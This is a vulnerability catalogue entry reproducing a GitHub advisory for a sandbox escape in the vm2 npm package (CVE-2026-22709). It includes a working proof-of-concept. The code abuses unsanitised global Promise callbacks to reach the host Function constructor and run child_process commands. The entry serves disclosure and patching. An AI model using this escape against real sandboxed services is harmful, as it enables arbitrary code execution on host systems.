Browse / AI Framework and Platform Flaws / CVE-2026-22709
vm2 has a Sandbox Escape
- Class
- AI Framework and Platform Flaws (filed by a model that read the source)
- Technique
- Sandbox escape
- Affected
- vm2 (npm)
- Gets past
- Sandbox or allowlist
- CVSS
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- EPSS
- 1.3% chance of exploitation in 30 days
How it works, in short
A promise callback in the sandbox is sanitised for one Promise realm but not the host-global one, letting sandboxed code reach host process objects. (Our summary, written by a model. The source text is below.)
Details
In vm2 for version 3.10.0, Promise.prototype.then Promise.prototype.catch callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code.
const { VM } = require("vm2");
const code = `
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();
promise.catch(e => {
const Error = e.constructor;
const Function = Error.constructor;
const f = new Function(
"process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })"
);
f();
});
`;
new VM().run(code);
In lib/setup-sandbox.js, the callback function of localPromise.prototype.then is sanitized, but globalPromise.prototype.then is not sanitized. The return value of async functions is globalPromise object.
References
- https://github.com/patriksimek/vm2/security/advisories/GHSA-99p7-6v5w-7xg8
- https://nvd.nist.gov/vuln/detail/CVE-2026-22709
- https://github.com/patriksimek/vm2/commit/4b009c2d4b1131c01810c1205e641d614c322a29
- https://github.com/patriksimek/vm2
- https://github.com/patriksimek/vm2/releases/tag/v3.10.2
Source: GitHub Advisory Database, used under CC BY 4.0.